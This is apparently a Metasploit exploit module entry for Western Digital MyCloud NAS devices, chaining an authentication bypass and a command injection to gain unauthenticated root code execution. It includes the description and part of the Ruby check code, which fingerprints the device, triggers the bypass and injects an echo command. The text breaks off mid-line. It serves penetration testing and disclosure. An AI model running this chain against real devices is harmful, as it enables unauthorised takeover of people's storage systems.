Metasploit Module: Western Digital MyCloud unauthenticated command injection
Type: exploit
Path: modules/exploits/linux/http/wd_mycloud_unauthenticated_cmd_injection.rb
Disclosure date: 2016-12-14
References: CVE-2016-10108, CVE-2018-17153, URL-https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/, URL-https://web.archive.org/web/[PII_REDACTED]3948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/
Targets: Unix In-Memory, Linux Dropper

Description:
This module exploits authentication bypass (CVE-2018-17153) and
          command injection (CVE-2016-10108) vulnerabilities in Western
          Digital MyCloud before 2.30.196 in order to achieve
          unauthenticated remote code execution as the root user.

          The module first performs a check to see if the target is
          WD MyCloud. If so, it attempts to trigger an authentication
          bypass (CVE-2018-17153) via a crafted GET request to
          /cgi-bin/network_mgr.cgi. If the server responds as expected,
          the module assesses the vulnerability status by attempting to
          exploit a commend injection vulnerability (CVE-2016-10108) in
          order to print a random string via the echo command. This is
          done via a crafted POST request to /web/google_analytics.php.

          If the server is vulnerable, the same command injection vector
          is leveraged to execute the payload.

          This module has been successfully tested against Western Digital
          MyCloud version 2.30.183.

          Note: based on the available disclosures, it seems that the
          command injection vector (CVE-2016-10108) might be exploitable
          without the authentication bypass (CVE-2018-17153) on versions
          before 2.21.126. The obtained results on 2.30.183 imply that
          the patch for CVE-2016-10108 did not actually remove the command
          injection vector, but only prevented unauthenticated access to it.

Check method (fingerprinting):
# sanity check to see if the target is likely WD MyCloud
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    return CheckCode::Unknown('Connection failed.') unless res

    return CheckCode::Safe('Target is not a WD MyCloud application.') unless res.code == 200 && res.body.include?('var MODEL_ID = "WDMyCloud')

    print_status("#{rhost}:#{rport} - The target is WD MyCloud. Checking vulnerability status...")
    # try the authentication bypass (CVE-2018-17153)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'network_mgr.cgi'),
      'vars_get' => {
        'cmd' => 'cgi_get_ipv6',
        'flag' => 1 # this cannot be randomized according to the CVE-2018-17153 details
      }
    })

    return CheckCode::Unknown('Connection failed while attempting to trigger the authentication bypass.') unless res

    return CheckCode::Unknown("Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.") unless res.code == 404

    # send a command to print a random string via echo. if the target is vulnerable, both the command  and the command output will be part of the response body
    echo_cmd = "echo #{Rex::Text.rand_text_alphanumeric(8..42)}"
    print_status("#{rhost}:#{rport} - Attempting to execute #{echo_cmd}...")
    res = execute_command(echo_cmd, { 'wait_for_response' => true })

    return CheckCode::Unknown('Connec